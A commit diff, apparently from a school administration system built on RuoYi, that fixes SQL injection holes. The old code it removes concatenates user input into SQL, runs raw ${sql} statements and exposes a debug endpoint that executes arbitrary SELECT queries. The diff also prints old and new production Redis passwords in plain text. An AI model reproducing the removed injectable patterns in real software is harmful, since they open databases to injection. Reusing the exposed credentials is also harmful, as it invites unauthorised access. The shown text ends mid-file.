cykj/hzdyjs
1
0 Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

提交

Browse Source
This commit is contained in:
zlwu committed 2026-09-18 23:42:09 +08:00
1 parent c2905e78f1
commit 65abe022c7
44 files changed
+1542 -386
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

backend/ruoyi-admin/src/main/java/org/dromara/web/controller/AuthController.java
+2
View File
@@ -183,6 +183,8 @@ public class AuthController {
@ApiEncrypt
@PostMapping("/register")
public R<Void> register(@Validated @RequestBody RegisterBody user) {
// 先校验租户（含格式白名单），禁止脏 tenantId 进入 selectRegisterEnabled 触发 SQL 注入
loginService.checkTenant(user.getTenantId());
if (!configService.selectRegisterEnabled(user.getTenantId())) {
return R.fail("当前系统没有开启注册功能！");
}
backend/ruoyi-admin/src/main/java/org/dromara/web/service/SysLoginService.java
+2
View File
@@ -231,6 +231,8 @@ public class SysLoginService {
if (StringUtils.isBlank(tenantId)) {
throw new TenantException("tenant.number.not.blank");
}
// 格式白名单，阻断恶意 tenantId 进入后续查询/动态租户
TenantHelper.checkTenantIdFormat(tenantId);
if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) {
return;
}
backend/ruoyi-admin/src/main/resources/application-prod.yml
+1 -1
View File
@@ -107,7 +107,7 @@ spring.data:
# 数据库索引
database: 3
# redis 密码必须配置
password: Hzdyjs@redis@123456
password: Hzdyschool@redis@15937
# 连接超时时间
timeout: 10s
# 是否开启ssl
backend/ruoyi-admin/src/main/resources/application.yml
+1
View File
@@ -164,6 +164,7 @@ tenant:
- sys_user_role
- sys_client
- sys_oss_config
- sys_bucket_access_record
- xljk_evaluation
- xljk_evaluation_detail
backend/ruoyi-admin/src/main/resources/i18n/messages.properties
+1
View File
@@ -56,6 +56,7 @@ social.code.not.blank=第三方登录平台[code]不能为空
social.state.not.blank=第三方登录平台[state]不能为空
##租户
tenant.number.not.blank=租户编号不能为空
tenant.id.invalid=租户编号格式不正确
tenant.not.exists=对不起, 您的租户不存在，请联系管理员
tenant.blocked=对不起，您的租户已禁用，请联系管理员
tenant.expired=对不起，您的租户已过期，请联系管理员
backend/ruoyi-admin/src/main/resources/i18n/messages_en_US.properties
+1
View File
@@ -56,6 +56,7 @@ social.code.not.blank=Social login platform [code] cannot be blank
social.state.not.blank=Social login platform [state] cannot be blank
##租户
tenant.number.not.blank=Tenant number cannot be blank
tenant.id.invalid=Invalid tenant number format
tenant.not.exists=Sorry, your tenant does not exist. Please contact the administrator
tenant.blocked=Sorry, your tenant is disabled. Please contact the administrator
tenant.expired=Sorry, your tenant has expired. Please contact the administrator.
backend/ruoyi-admin/src/main/resources/i18n/messages_zh_CN.properties
+1
View File
@@ -56,6 +56,7 @@ social.code.not.blank=第三方登录平台[code]不能为空
social.state.not.blank=第三方登录平台[state]不能为空
##租户
tenant.number.not.blank=租户编号不能为空
tenant.id.invalid=租户编号格式不正确
tenant.not.exists=对不起, 您的租户不存在，请联系管理员
tenant.blocked=对不起，您的租户已禁用，请联系管理员
tenant.expired=对不起，您的租户已过期，请联系管理员
backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/PlusTenantLineHandler.java
+2 -1
View File
@@ -31,7 +31,8 @@ public class PlusTenantLineHandler implements TenantLineHandler {
log.error("无法获取有效的租户id -> Null");
return new NullValue();
}
// 返回固定租户
// sink 白名单：非法租户ID绝不拼进 SQL（防 SQL 注入）
TenantHelper.checkTenantIdFormat(tenantId);
return new StringValue(tenantId);
}
backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/helper/TenantHelper.java
+34
View File
@@ -16,9 +16,11 @@ import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.core.utils.reflect.ReflectUtils;
import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.exception.TenantException;
import java.util.Stack;
import java.util.function.Supplier;
import java.util.regex.Pattern;
/**
* 租户助手
@@ -35,6 +37,12 @@ public class TenantHelper {
private static final ThreadLocal<Stack<Integer>> REENTRANT_IGNORE = ThreadLocal.withInitial(Stack::new);
/**
* 租户ID格式白名单：仅允许纯数字（与系统生成的 6 位租户编号及默认租户 000000 一致）
* 防止外部传入的 tenantId 被拼进 SQL 字面量导致注入
*/
private static final Pattern TENANT_ID_PATTERN = Pattern.compile("^[0-9]{1,20}$");
/**
* 租户功能是否启用
*/
@@ -42,6 +50,30 @@ public class TenantHelper {
return Convert.toBool(SpringUtils.getProperty("tenant.enable"), false);
}
/**
* 校验租户ID格式是否合法（白名单）
*
* @param tenantId 租户ID
* @return true 合法
*/
public static boolean isValidTenantId(String tenantId) {
return StringUtils.isNotBlank(tenantId) && TENANT_ID_PATTERN.matcher(tenantId).matches();
}
/**
* 校验租户ID格式，非法则抛出异常（fail-closed，不降级继续拼 SQL）
*
* @param tenantId 租户ID
*/
public static void checkTenantIdFormat(String tenantId) {
if (!isValidTenantId(tenantId)) {
String safe = tenantId == null ? "null"
: tenantId.length() > 64 ? tenantId.substring(0, 64) + "..." : tenantId;
log.error("租户ID格式非法，已阻断: [{}]", safe);
throw new TenantException("tenant.id.invalid");
}
}
private static IgnoreStrategy getIgnoreStrategy() {
Object ignoreStrategyLocal = ReflectUtils.getStaticFieldValue(ReflectUtils.getField(InterceptorIgnoreHelper.class, "IGNORE_STRATEGY_LOCAL"));
if (ignoreStrategyLocal instanceof ThreadLocal<?> IGNORE_STRATEGY_LOCAL) {
@@ -131,6 +163,8 @@ public class TenantHelper {
if (!isEnable()) {
return;
}
// 动态租户一律做格式白名单校验，覆盖 login/register/config 等所有 TenantHelper.dynamic 入口
checkTenantIdFormat(tenantId);
if (!LoginHelper.isLogin() || !global) {
TEMP_DYNAMIC_TENANT.set(tenantId);
return;
backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/config/DbInitializer.java
-35
View File
@@ -1,35 +0,0 @@
package org.dromara.rs.config;
import org.dromara.rs.util.SqlScriptRunner;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.CommandLineRunner;
import org.springframework.stereotype.Component;
/**
* 数据库初始化器，在应用启动时执行SQL脚本
*/
@Component
public class DbInitializer implements CommandLineRunner {
private static final Logger logger = LoggerFactory.getLogger(DbInitializer.class);
@Autowired
private SqlScriptRunner sqlScriptRunner;
@Override
public void run(String... args) throws Exception {
try {
// 吴自龙 注释了
// logger.info("开始执行数据库升级脚本...");
// 执行升级脚本
// sqlScriptRunner.executeScript("mapper/rs/update-rs-application-table.sql");
// logger.info("数据库升级脚本执行完成");
} catch (Exception e) {
logger.error("执行数据库升级脚本失败", e);
// 这里选择记录错误但不中断应用启动，因为可能是表结构已经更新过
// 如果需要严格控制，可以抛出异常中断应用启动
}
}
}
backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/controller/SqlUpdateController.java
-91
View File
@@ -1,91 +0,0 @@
package org.dromara.rs.controller;
import org.dromara.common.core.domain.R;
// import org.dromara.rs.mapper.RsSystemMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.HashMap;
import java.util.Map;
/**
* SQL更新控制器
*
* @author weizzzz
* @date 2025-07-24
*/
@RestController
@RequestMapping("/rs/db")
public class SqlUpdateController {
// 编译不过，吴自龙注释，
// @Autowired
// private RsSystemMapper rsSystemMapper;
/**
* 执行培训模块SQL更新脚本
*/
// @GetMapping("/update/training")
// public R<Map<String, Object>> executeTrainingUpdateScript() {
// Map<String, Object> result = new HashMap<>();
// try {
// // 读取SQL脚本
// InputStream is =
// getClass().getClassLoader().getResourceAsStream("mapper/rs/training-update.sql");
// if (is == null) {
// result.put("success", false);
// result.put("message", "SQL脚本文件不存在");
// return R.ok(result);
// }
// // 解析SQL语句
// BufferedReader reader = new BufferedReader(new InputStreamReader(is));
// StringBuilder sb = new StringBuilder();
// String line;
// while ((line = reader.readLine()) != null) {
// // 忽略注释行
// if (line.trim().startsWith("--") || line.trim().isEmpty()) {
// continue;
// }
// sb.append(line);
// // 如果是SQL语句结束
// if (line.trim().endsWith(";")) {
// String sql = sb.toString().trim();
// if (sql.endsWith(";")) {
// sql = sql.substring(0, sql.length() - 1); // 移除分号，MyBatis会自动处理
// }
// executeSql(sql);
// sb = new StringBuilder();
// }
// }
// result.put("success", true);
// result.put("message", "SQL脚本执行成功");
// return R.ok(result);
// } catch (Exception e) {
// e.printStackTrace();
// result.put("success", false);
// result.put("message", "执行SQL脚本出错: " + e.getMessage());
// return R.fail("执行SQL脚本出错: " + e.getMessage());
// }
// }
//// 编译不过，吴自龙注释，
/**
* 执行单条SQL语句
*/
// private void executeSql(String sql) {
// try {
// rsSystemMapper.executeSql(sql);
// } catch (Exception e) {
// // 记录错误但继续执行
// System.out.println("SQL执行警告: " + e.getMessage());
// }
// }
}
backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/mapper/RsSystemMapper.java
-25
View File
@@ -1,25 +0,0 @@
package org.dromara.rs.mapper;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Update;
import org.apache.ibatis.annotations.Param;
/**
* 人事管理系统SQL执行Mapper
* 用于替代直接的数据库连接操作
*
* @author ruoyi
* @date 2025-08-05
*/
@Mapper
public interface RsSystemMapper {
/**
* 执行SQL语句
*
* @param sql SQL语句
* @return 影响的行数
*/
@Update("${sql}")
int executeSql(@Param("sql") String sql);
}
backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/util/SqlScriptRunner.java
-57
View File
@@ -1,57 +0,0 @@
package org.dromara.rs.util;
// import org.dromara.rs.mapper.RsSystemMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.io.ClassPathResource;
import org.springframework.stereotype.Component;
import java.io.BufferedReader;
import java.io.InputStreamReader;
/**
* SQL脚本执行工具
*/
@Component
public class SqlScriptRunner {
// 吴自龙注释，编译不过
// @Autowired
// private RsSystemMapper rsSystemMapper;
// /**
// * 执行SQL脚本
// *
// * @param scriptPath 脚本路径（相对于classpath）
// * @throws Exception 执行异常
// */
// public void executeScript(String scriptPath) throws Exception {
// ClassPathResource resource = new ClassPathResource(scriptPath);
// try (BufferedReader reader = new BufferedReader(new
// InputStreamReader(resource.getInputStream()))) {
// StringBuilder sb = new StringBuilder();
// String line;
// while ((line = reader.readLine()) != null) {
// // 忽略注释行和空行
// if (line.trim().startsWith("--") || line.trim().isEmpty()) {
// continue;
// }
// sb.append(line);
// // 如果是SQL语句结束
// if (line.trim().endsWith(";")) {
// String sql = sb.toString().trim();
// if (sql.endsWith(";")) {
// sql = sql.substring(0, sql.length() - 1); // 移除分号，MyBatis会自动处理
// }
// try {
// rsSystemMapper.executeSql(sql);
// } catch (Exception e) {
// // 记录错误但继续执行
// System.out.println("SQL执行警告: " + e.getMessage());
// }
// sb = new StringBuilder();
// }
// }
// }
// }
}
backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysBucketAccessRecord.java
+8 -5
View File
@@ -1,23 +1,26 @@
package org.dromara.system.domain;
import com.baomidou.mybatisplus.annotation.*;
import com.baomidou.mybatisplus.annotation.FieldFill;
import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;
import lombok.EqualsAndHashCode;
import org.dromara.common.tenant.core.TenantEntity;
import java.io.Serial;
import java.io.Serializable;
import java.util.Date;
/**
* bucket访问记录对象 sys_bucket_access_record
* <p>
* 该表无 tenant_id 字段，不继承 TenantEntity，避免租户插件/字段填充写不存在的列。
*
* @author Lion Li
* @date 2025-01-27
*/
@Data
@EqualsAndHashCode(callSuper = true)
@TableName("sys_bucket_access_record")
public class SysBucketAccessRecord extends TenantEntity {
public class SysBucketAccessRecord implements Serializable {
@Serial
private static final long serialVersionUID = 1L;
backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysBucketAccessPasswordServiceImpl.java
+3 -3
View File
@@ -4,6 +4,7 @@ import cn.hutool.core.util.StrUtil;
import cn.hutool.crypto.digest.DigestUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.exception.ServiceException;
@@ -192,9 +193,8 @@ public class SysBucketAccessPasswordServiceImpl implements ISysBucketAccessPassw
LambdaQueryWrapper<SysBucketAccessRecord> wrapper = new LambdaQueryWrapper<>();
wrapper.eq(SysBucketAccessRecord::getBucketName, bucketName);
wrapper.orderByDesc(SysBucketAccessRecord::getAccessTime);
wrapper.last("LIMIT " + limit);
return recordMapper.selectList(wrapper);
int safeLimit = limit <= 0 ? 10 : Math.min(limit, 500);
return recordMapper.selectPage(new Page<>(1, safeLimit), wrapper).getRecords();
} catch (Exception e) {
log.error("获取bucket访问记录失败: {}", e.getMessage(), e);
return List.of();
backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgDormManagerServiceImpl.java
+4 -6
View File
@@ -89,10 +89,12 @@ public class XgDormManagerServiceImpl implements IXgDormManagerService {
sql.append("INNER JOIN sys_user_role ur ON u.user_id = ur.user_id ");
sql.append("INNER JOIN sys_role r ON ur.role_id = r.role_id ");
sql.append(
"WHERE (r.role_key = 'teacher' or u.account_type='1') AND u.status = '0' and not exists (select 1 from xg_dorm_manager where user_id = u.user_id and deleted = '0' and manager_type = '"
+ managerType + "') ");
"WHERE (r.role_key = 'teacher' or u.account_type='1') AND u.status = '0' ");
sql.append(
"and not exists (select 1 from xg_dorm_manager where user_id = u.user_id and deleted = '0' and manager_type = ?) ");
List<Object> params = new ArrayList<>();
params.add(managerType);
if (StringUtils.isNotBlank(name)) {
sql.append("AND u.nick_name LIKE ? ");
@@ -102,11 +104,7 @@ public class XgDormManagerServiceImpl implements IXgDormManagerService {
sql.append("ORDER BY u.user_name ASC, u.nick_name");
try {
if (params.isEmpty()) {
return jdbcTemplate.queryForList(sql.toString());
} else {
return jdbcTemplate.queryForList(sql.toString(), params.toArray());
}
} catch (Exception e) {
log.error("查询教师列表异常", e);
return new ArrayList<>();
backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentServiceImpl.java
+3 -2
View File
@@ -68,8 +68,9 @@ public class XgStudentServiceImpl implements IXgStudentService {
lqw.like(StringUtils.isNotBlank(name), XgStudentMsg::getName, name);
lqw.eq(XgStudentMsg::getStudentStatus, "1"); // 只查询在籍学生
lqw.orderByDesc(XgStudentMsg::getStudentNo);
lqw.last("LIMIT " + (limit != null ? limit : 10));
return baseMapper.selectVoList(lqw);
int safeLimit = (limit == null || limit <= 0) ? 10 : Math.min(limit, 100);
Page<XgStudentVo> page = baseMapper.selectVoPage(new Page<>(1, safeLimit), lqw);
return page.getRecords();
}
/**
backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentStatusChangeServiceImpl.java
+11 -10
View File
@@ -78,16 +78,17 @@ public class XgStudentStatusChangeServiceImpl implements IXgStudentStatusChangeS
private LambdaQueryWrapper<XgStudentStatusChange> buildQueryWrapper(XgStudentStatusChangeBo bo) {
LambdaQueryWrapper<XgStudentStatusChange> lqw = Wrappers.lambdaQuery();
lqw.eq(bo.getId() != null, XgStudentStatusChange::getId, bo.getId());
lqw.eq(bo.getStudentId() != null, XgStudentStatusChange::getStudentId, bo.getStudentId());
lqw.like(StringUtils.isNotBlank(bo.getStudentNo()), XgStudentStatusChange::getStudentNo, bo.getStudentNo());
lqw.eq(StringUtils.isNotBlank(bo.getChangeType()), XgStudentStatusChange::getChangeType, bo.getChangeType());
lqw.eq(bo.getEffectiveDate() != null, XgStudentStatusChange::getEffectiveDate, bo.getEffectiveDate());
lqw.like(StringUtils.isNotBlank(bo.getReason()), XgStudentStatusChange::getReason, bo.getReason());
lqw.eq(bo.getOperatorId() != null, XgStudentStatusChange::getOperatorId, bo.getOperatorId());
lqw.like(StringUtils.isNotBlank(bo.getOperatorName()), XgStudentStatusChange::getOperatorName, bo.getOperatorName());
lqw.eq(StringUtils.isNotBlank(bo.getSource()), XgStudentStatusChange::getSource, bo.getSource());
lqw.eq(bo.getProcessStatus() != null, XgStudentStatusChange::getProcessStatus, bo.getProcessStatus());
// JOIN 查询需带表别名，避免 student_no / create_time 等字段歧义
lqw.apply(bo.getId() != null, "c.id = {0}", bo.getId());
lqw.apply(bo.getStudentId() != null, "c.student_id = {0}", bo.getStudentId());
lqw.apply(StringUtils.isNotBlank(bo.getStudentNo()), "c.student_no LIKE CONCAT('%', {0}, '%')", bo.getStudentNo());
lqw.apply(StringUtils.isNotBlank(bo.getChangeType()), "c.change_type = {0}", bo.getChangeType());
lqw.apply(bo.getEffectiveDate() != null, "c.effective_date = {0}", bo.getEffectiveDate());
lqw.apply(StringUtils.isNotBlank(bo.getReason()), "c.reason LIKE CONCAT('%', {0}, '%')", bo.getReason());
lqw.apply(bo.getOperatorId() != null, "c.operator_id = {0}", bo.getOperatorId());
lqw.apply(StringUtils.isNotBlank(bo.getOperatorName()), "c.operator_name LIKE CONCAT('%', {0}, '%')", bo.getOperatorName());
lqw.apply(StringUtils.isNotBlank(bo.getSource()), "c.source = {0}", bo.getSource());
lqw.apply(bo.getProcessStatus() != null, "c.process_status = {0}", bo.getProcessStatus());
return lqw;
}
backend/ruoyi-modules/ruoyi-xg/src/main/resources/mapper/studentStatusChange/XgStudentStatusChangeMapper.xml
+11 -4
View File
@@ -39,9 +39,16 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
where c.deleted = 0
</sql>
<!-- 已有 where 时不能用 ew.customSqlSegment（会再拼 WHERE），改用 sqlSegment 用 AND 拼接 -->
<sql id="queryWrapperSegment">
<if test="ew != null and ew.sqlSegment != null and ew.sqlSegment != ''">
AND ${ew.sqlSegment}
</if>
</sql>
<select id="selectVoList" resultMap="XgStudentStatusChangeResult">
<include refid="selectXgStudentStatusChangeVo"/>
${ew.getCustomSqlSegment}
<include refid="queryWrapperSegment"/>
</select>
<select id="selectVoById" parameterType="Long" resultMap="XgStudentStatusChangeResult">
@@ -51,19 +58,19 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
<select id="selectVoPage" resultMap="XgStudentStatusChangeResult">
<include refid="selectXgStudentStatusChangeVo"/>
${ew.getCustomSqlSegment}
<include refid="queryWrapperSegment"/>
</select>
<!-- 自定义查询方法，包含学生信息 -->
<select id="selectVoPageWithStudentInfo" resultMap="XgStudentStatusChangeResult">
<include refid="selectXgStudentStatusChangeVo"/>
${ew.getCustomSqlSegment}
<include refid="queryWrapperSegment"/>
order by c.create_time desc
</select>
<select id="selectVoListWithStudentInfo" resultMap="XgStudentStatusChangeResult">
<include refid="selectXgStudentStatusChangeVo"/>
${ew.getCustomSqlSegment}
<include refid="queryWrapperSegment"/>
order by c.create_time desc
</select>
backend/ruoyi-modules/ruoyi-xljk/src/main/java/org/dromara/xljk/controller/XljkConsultationDebugController.java
-88
View File
@@ -1,88 +0,0 @@
package org.dromara.xljk.controller;
import org.dromara.common.core.domain.R;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* 心理咨询预约调试控制器
* 注意：此控制器仅用于开发环境调试，生产环境应该移除
*/
@RestController
@RequestMapping("/xljk/consultation/debug")
public class XljkConsultationDebugController {
@Autowired
private JdbcTemplate jdbcTemplate;
/**
* 执行SQL查询
*
* @param params 包含SQL语句的参数对象
* @return 查询结果
*/
@PostMapping("/execute-sql")
public R<List<Map<String, Object>>> executeSql(@RequestBody Map<String, String> params) {
try {
String sql = params.get("sql");
if (sql == null || sql.trim().isEmpty()) {
return R.fail("SQL语句不能为空");
}
// 安全检查，只允许SELECT语句
sql = sql.trim();
if (!sql.toLowerCase().startsWith("select")) {
return R.fail("只允许执行SELECT语句");
}
List<Map<String, Object>> result = jdbcTemplate.queryForList(sql);
return R.ok(result);
} catch (Exception e) {
return R.fail("执行SQL失败: " + e.getMessage());
}
}
/**
* 查询学生预约记录
*
* @param studentId 学生ID
* @return 预约记录
*/
@GetMapping("/appointments/{studentId}")
public R<List<Map<String, Object>>> getAppointmentsByStudentId(@PathVariable("studentId") String studentId) {
try {
String sql = "SELECT * FROM xljk_consultation_appointment WHERE student_id = ?";
List<Map<String, Object>> result = jdbcTemplate.queryForList(sql, studentId);
return R.ok(result);
} catch (Exception e) {
return R.fail("查询失败: " + e.getMessage());
}
}
/**
* 查询学生信息
*
* @param studentNo 学号
* @return 学生信息
*/
@GetMapping("/student/{studentNo}")
public R<Map<String, Object>> getStudentInfo(@PathVariable("studentNo") String studentNo) {
try {
// 这里假设学生信息存储在sys_user表中，可能需要根据实际情况调整
String sql = "SELECT * FROM sys_user WHERE user_name = ?";
List<Map<String, Object>> result = jdbcTemplate.queryForList(sql, studentNo);
if (result.isEmpty()) {
return R.fail("未找到该学号的学生信息");
}
return R.ok(result.get(0));
} catch (Exception e) {
return R.fail("查询失败: " + e.getMessage());
}
}
}
backend/ruoyi-modules/ruoyi-xljk/src/main/java/org/dromara/xljk/service/impl/XljkConsultationAppointmentServiceImpl.java
+12 -9
View File
@@ -80,15 +80,15 @@ public class XljkConsultationAppointmentServiceImpl implements IXljkConsultation
vo.getConsultationContent() != null ? vo.getConsultationContent().length() : 0,
vo.getCounselorSuggestion() != null ? vo.getCounselorSuggestion().length() : 0);
// 使用与selectList相同的方式查询关联信息
// 使用参数化查询关联信息，避免 ID 拼接进 SQL
String sql = "SELECT s.name as student_name, s.student_no, s.class_name, s.college_name, s.major_name, " +
"u.nick_name as counselor_name " +
"FROM xg_student_msg s " +
"LEFT JOIN sys_user u ON u.user_id = " + entity.getCounselorId() + " " +
"WHERE s.id = " + entity.getStudentId();
"LEFT JOIN sys_user u ON u.user_id = ? " +
"WHERE s.id = ?";
try {
Map<String, Object> result = jdbcTemplate.queryForMap(sql);
Map<String, Object> result = jdbcTemplate.queryForMap(sql, entity.getCounselorId(), entity.getStudentId());
log.info("关联查询结果: {}", result);
// 填充关联信息
@@ -103,9 +103,8 @@ public class XljkConsultationAppointmentServiceImpl implements IXljkConsultation
// 如果关联查询失败，尝试分别查询
try {
// 查询学生信息
String studentSql = "SELECT name, student_no, class_name, college_name, major_name FROM xg_student_msg WHERE id = "
+ entity.getStudentId();
Map<String, Object> studentInfo = jdbcTemplate.queryForMap(studentSql);
String studentSql = "SELECT name, student_no, class_name, college_name, major_name FROM xg_student_msg WHERE id = ?";
Map<String, Object> studentInfo = jdbcTemplate.queryForMap(studentSql, entity.getStudentId());
log.info("学生信息查询结果: {}", studentInfo);
vo.setStudentName((String) studentInfo.get("name"));
@@ -692,11 +691,13 @@ public class XljkConsultationAppointmentServiceImpl implements IXljkConsultation
log.info("获取学生预约记录，studentId: {}", studentId);
// 使用原生SQL查询以绕过MyBatis缓存，确保获取最新数据
String sql = "SELECT a.*, u.nick_name AS counselor_name " +
// 预约表无 student_no，学号从学生表关联；排序按预约日期
String sql = "SELECT a.*, u.nick_name AS counselor_name, s.student_no " +
"FROM xljk_consultation_appointment a " +
"LEFT JOIN sys_user u ON a.counselor_id = u.user_id " +
"LEFT JOIN xg_student_msg s ON a.student_id = s.id " +
"WHERE a.student_id = ? AND a.deleted = 0 " +
"ORDER BY a.student_no DESC, a.id DESC, a.create_time DESC";
"ORDER BY a.appointment_date DESC, a.id DESC, a.create_time DESC";
List<XljkConsultationAppointmentVo> result = new ArrayList<>();
@@ -711,6 +712,8 @@ public class XljkConsultationAppointmentServiceImpl implements IXljkConsultation
vo.setId(((Number) row.get("id")).longValue());
vo.setStudentId(((Number) row.get("student_id")).longValue());
vo.setStudentNo((String) row.get("student_no"));
// 预约表自带姓名；学号来自学生表关联（可能为空）
vo.setStudentName((String) row.get("student_name"));
vo.setAppointmentDate(convertToDate(row.get("appointment_date")));
vo.setAppointmentTime((String) row.get("appointment_time"));
vo.setAppointmentDetailTime((String) row.get("appointment_detail_time"));
backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/mapper/XskhDisciplineRecordMapper.java
+2 -2
View File
@@ -23,12 +23,12 @@ public interface XskhDisciplineRecordMapper extends BaseMapperPlus<XskhDisciplin
* 查询学生选项列表（用于下拉框）
*
* @param keyword 搜索关键词（学号或姓名）
* @param pageNum 页码
* @param offset 分页偏移（从 0 开始）
* @param pageSize 每页数量
* @return 学生选项列表
*/
List<XskhStudentOptionVo> selectStudentOptions(@Param("keyword") String keyword,
@Param("pageNum") Integer pageNum,
@Param("offset") Integer offset,
@Param("pageSize") Integer pageSize);
/**
backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/service/impl/XskhDisciplineRecordServiceImpl.java
+4 -1
View File
@@ -173,7 +173,10 @@ public class XskhDisciplineRecordServiceImpl implements IXskhDisciplineRecordSer
*/
@Override
public List<XskhStudentOptionVo> getStudentOptionsPage(String keyword, Integer pageNum, Integer pageSize) {
return baseMapper.selectStudentOptions(keyword, pageNum, pageSize);
int safePageNum = (pageNum == null || pageNum < 1) ? 1 : pageNum;
int safePageSize = (pageSize == null || pageSize < 1) ? 50 : Math.min(pageSize, 200);
int offset = (safePageNum - 1) * safePageSize;
return baseMapper.selectStudentOptions(keyword, offset, safePageSize);
}
/**
backend/ruoyi-modules/ruoyi-xskh/src/main/resources/mapper/XskhDisciplineRecordMapper.xml
+2 -2
View File
@@ -62,8 +62,8 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
</if>
order by student_no desc
<choose>
<when test="pageNum != null and pageSize != null">
limit ${(pageNum - 1) * pageSize}, #{pageSize, jdbcType=INTEGER}
<when test="offset != null and pageSize != null">
limit #{offset, jdbcType=INTEGER}, #{pageSize, jdbcType=INTEGER}
</when>
<otherwise>
limit 50
backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/domain/vo/ZsjyEnrollmentStatisticsQueryVo.java
-5
View File
@@ -91,11 +91,6 @@ public class ZsjyEnrollmentStatisticsQueryVo implements Serializable {
*/
private Boolean calculatePercentage;
/**
* 额外的查询条件
*/
private String extraCondition;
/**
* 当前页码
*/
backend/ruoyi-modules/ruoyi-zsjy/src/main/java/org/dromara/zsjy/mapper/ZsjyEnrollmentInfoMapper.java
+8 -32
View File
@@ -106,7 +106,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
"WHERE",
" ei.create_time BETWEEN #{startDate} AND #{endDate}",
" AND ei.deleted = 0",
" ${extraCondition}",
"GROUP BY",
" YEAR(ei.create_time)",
"ORDER BY",
@@ -115,8 +114,7 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
})
List<ZsjyEnrollmentStatisticsResultVo> statisticsByYear(
@Param("startDate") Date startDate,
@Param("endDate") Date endDate,
@Param("extraCondition") String extraCondition);
@Param("endDate") Date endDate);
/**
* 按月统计报名录取信息
@@ -139,7 +137,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
"WHERE",
" ei.create_time BETWEEN #{startDate} AND #{endDate}",
" AND ei.deleted = 0",
" ${extraCondition}",
"GROUP BY",
" YEAR(ei.create_time), MONTH(ei.create_time)",
"ORDER BY",
@@ -147,8 +144,7 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
})
List<ZsjyEnrollmentStatisticsResultVo> statisticsByMonth(
@Param("startDate") Date startDate,
@Param("endDate") Date endDate,
@Param("extraCondition") String extraCondition);
@Param("endDate") Date endDate);
/**
* 按日统计报名录取信息
@@ -171,7 +167,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
"WHERE",
" ei.create_time BETWEEN #{startDate} AND #{endDate}",
" AND ei.deleted = 0",
" ${extraCondition}",
"GROUP BY",
" DATE_FORMAT(ei.create_time, '%Y-%m-%d')",
"ORDER BY",
@@ -180,8 +175,7 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
})
List<ZsjyEnrollmentStatisticsResultVo> statisticsByDay(
@Param("startDate") Date startDate,
@Param("endDate") Date endDate,
@Param("extraCondition") String extraCondition);
@Param("endDate") Date endDate);
/**
* 按专业统计报名录取信息
@@ -204,8 +198,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
"WHERE",
" ei.create_time BETWEEN #{startDate} AND #{endDate}",
" AND ei.deleted = 0",
" ${extraCondition}",
" ${majorCondition}",
"GROUP BY",
" ei.major_code, ei.applied_major",
"ORDER BY",
@@ -214,9 +206,7 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
})
List<ZsjyEnrollmentStatisticsResultVo> statisticsByMajor(
@Param("startDate") Date startDate,
@Param("endDate") Date endDate,
@Param("extraCondition") String extraCondition,
@Param("majorCondition") String majorCondition);
@Param("endDate") Date endDate);
/**
* 按地区统计报名录取信息
@@ -239,8 +229,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
"WHERE",
" ei.create_time BETWEEN #{startDate} AND #{endDate}",
" AND ei.deleted = 0",
